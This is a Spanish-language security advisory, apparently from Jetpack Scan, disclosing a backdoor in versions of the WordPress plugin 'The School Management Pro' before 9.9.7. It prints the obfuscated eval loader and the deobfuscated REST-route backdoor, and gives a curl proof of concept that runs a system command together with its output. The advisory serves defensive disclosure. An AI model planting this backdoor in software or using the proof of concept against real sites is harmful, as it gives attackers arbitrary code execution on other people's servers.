Versiones anteriores a la 9.9.7 del plugin de WordPress «The School Management Pro» de Weblizar contienen una puerta trasera que permite a un atacante no autenticado ejecutar código arbitrario de PHP en sitios donde el plugin está instalado. Si tienes instalada una versión anterior en tu sitio, recomendamos actualizar inmediatamente a la versión 9.9.7 o posterior. Se trata de un problema de seguridad crítico.
Sigue leyendo para conocer todos los detalles.
Detalles:
- Nombre del plugin: The School Management Pro
- Slug del plugin:
school-management-pro,school-management-pro-9.9.6,school-management-pro-9.9.5,the-school-management, etc. - Proveedor: Weblizar
- Versiones afectadas: < 9.9.7
- CVE: CVE-2022-1609
- Puntuación CVSS: 10.0 (crítica)
- Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- WPVULNDB: https://wpscan.com/vulnerability/e2d546c9-85b6-47a4-b951-781b9ae5d0f2
Parte del trabajo que hacemos en Jetpack Scan consiste en ayudar a nuestra actividad de alojamiento de WordPress comprobando los archivos sospechosos encontrados en los sitios que alojamos. Normalmente, esto se debe a que uno de nuestros identificadores ha marcado un archivo, o a que el propietario del sitio ha encontrado algo sospechoso y quiere nuestra opinión. Como es habitual, a veces estos archivos son benignos, algunos son falsos positivos y otros son cepas nuevas de malware o variantes que requieren más trabajo para clasificarlas correctamente.
Sin embargo, a veces lo que recibimos es mucho más interesante.
Hace un par de semanas ocurrió un incidente de este tipo. El equipo de soporte escalado de WordPress.com se puso en contacto con nosotros por un código obviamente malicioso y ofuscado encontrado en un plugin instalado en varios sitios.
}
$_fc = eval("\x65\x76\x61\x6c(\x67\x7a".chr($_x = 0x70 - 7).chr($_x += 5).chr($_x -= 8) . "\x6c\x61\x74" . "\x65\x28\x62"."\x61\x73\x65\x36"."\x34\x5f\x64\x65\x63\x6f\x64\x65\x28'fY9BasMwEEXX8ikmECIbnAukJJAW77ooSaCLUsTYHjsilu2O5JRQfPdKDs2mbbTQQu/9mS8sS4WF010bg2SyTmGvlW61kylUQ3tFCXxFgqnW1hGrSeNucBRHQkg0S0MmJ/YJ2eiCWksy9QSZ8RIUIQ25Y1daCbDewOuL2mX7g9oTn4lXq6ddtj1sH5+zdHILbJoci5MM7q0CzJk+Br8ZpjL+zJFrC+sbWG5qcqpHRmPj5GFydAUxaGvJ+QHBf5N5031W2h7lu5+0WMAMyPTu8i//I303OsGfjoLO2Pzm13JjuMfw6SQS/m304Bs='" . str_repeat(chr(0x29), 3)."\x3b");
class WLSM_Crypt_Blowfish_DefaultKey
Después de dos rondas de desofuscación trivial, obtenemos lo siguiente:
add_action( 'rest_api_init', function() {
register_rest_route(
'am-member', 'license',
array(
'methods' => WP_REST_Server::CREATABLE,
'callback' => function( $request ) {
$args = $request->get_params();
if ( isset( $args['blowfish'] ) && ! empty( $args['blowfish'] ) && isset( $args['blowf'] ) && ! empty( $args['blowf'] ) ) {
eval( $args['blowf'] );
}
},
)
);
} );
El código en sí no es especialmente interesante: es una puerta trasera evidente inyectada en el código de comprobación de licencia del plugin. Permite a cualquier atacante ejecutar código arbitrario de PHP en el sitio donde está instalado el plugin, como puede verse en la prueba de concepto siguiente:
$ curl -s -d 'blowfish=1' -d "blowf=system('id');" 'http://localhost:8888/wp-json/am-member/license'
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Warning: Cannot modify header information - headers already sent by (output started at /var/www/html/wp-content/plugins/school-management-pro-9.9.4/admin/inc/manager/WLSM_LC.php(683) : eval()'d code(1) : eval()'d code(9) : eval()'d code:1) in /var/www/html/wp-includes/rest-api/class-wp-rest-server.php on line 1713
Este es el tipo de cosa que vemos a menudo en plugins nulled; ocurre con tanta frecuencia que ya hemos documentado un caso similar en una publicación anterior. Nuestra primera suposición fue que este también era el caso aquí: los propietarios del sitio habían instalado un plugin de una fuente sospechosa.
Sin embargo, nos aseguraron que los plugins instalados se habían recibido directamente del proveedor. El proveedor también confirmó rápidamente que había eliminado el código problemático después de que le informáramos de su presencia.
Hemos intentado obtener más información del proveedor sobre cuándo se inyectó la puerta trasera, qué versiones están afectadas y cómo acabó el código en el plugin. Este esfuerzo no ha tenido éxito, ya que el proveedor afirma que no sabe cuándo ni cómo llegó el código a su software.
Hemos visto en nuestros sistemas alojados versiones que contenían la puerta trasera al menos desde la 8.9, pero como no tenemos información clara sobre cuándo apareció por primera vez, debemos suponer que cualquier versión anterior a la 9.9.7 está afectada.
La detección y las alertas sobre este problema se complican aún más porque el plugin funciona con varios slugs diferentes, a menudo con slugs que contienen el número de versión. En nuestros sistemas alojados hemos visto al menos estas variantes:
school-managementschool-management-v*school-management-proschool-management-pro-*the-school-management
La versión gratuita del repositorio de plugins de WordPress.org no contiene el código de licencia y tampoco está afectada por esta puerta trasera.
Cronología
2022-05-04: El equipo de soporte escalado de WordPress.com descubre el código inyectado y contacta con Jetpack Scan para analizar y verificar el hallazgo. Tras confirmar que se trata de una puerta trasera, notifican al proveedor.
2022-05-05: El proveedor confirma que el código inyectado está efectivamente en su distribución y nos proporciona una versión 9.9.7 en la que se ha eliminado la puerta trasera. Confirmamos que está limpia.
2022-05-06: El proveedor comienza a distribuir activamente la versión 9.9.7 a sus clientes y les recomienda actualizar.
2022-05-10: El proveedor respondió a nuestras preguntas adicionales sobre si sabía cuándo se añadió la puerta trasera, pero afirmó que no lo sabía. Sí proporcionó una versión anterior, la 9.9.4, que incluía la puerta trasera.
Conclusión
Recomendamos que cualquier sitio que tenga instalada cualquier versión de The School Management Pro anterior a la 9.9.7 se actualice inmediatamente.
En Jetpack, trabajamos arduamente para garantizar que tus sitios web estén protegidos frente a este tipo de vulnerabilidades. Recomendamos contar con un plan de seguridad para tu sitio que incluya el análisis de archivos maliciosos y copias de seguridad. Jetpack Security es una excelente opción de seguridad de WordPress para garantizar la seguridad de tu sitio y de tus visitantes.
Créditos
Esta investigación fue una colaboración entre el equipo de soporte escalado de WordPress.com, Nic Sevic, Thom Stackhouse y Joshua Goode, y Jetpack Scan, con Harald Eilertsen y Fioravante Cavallari. También agradecemos a Benedict Singer sus comentarios y correcciones.



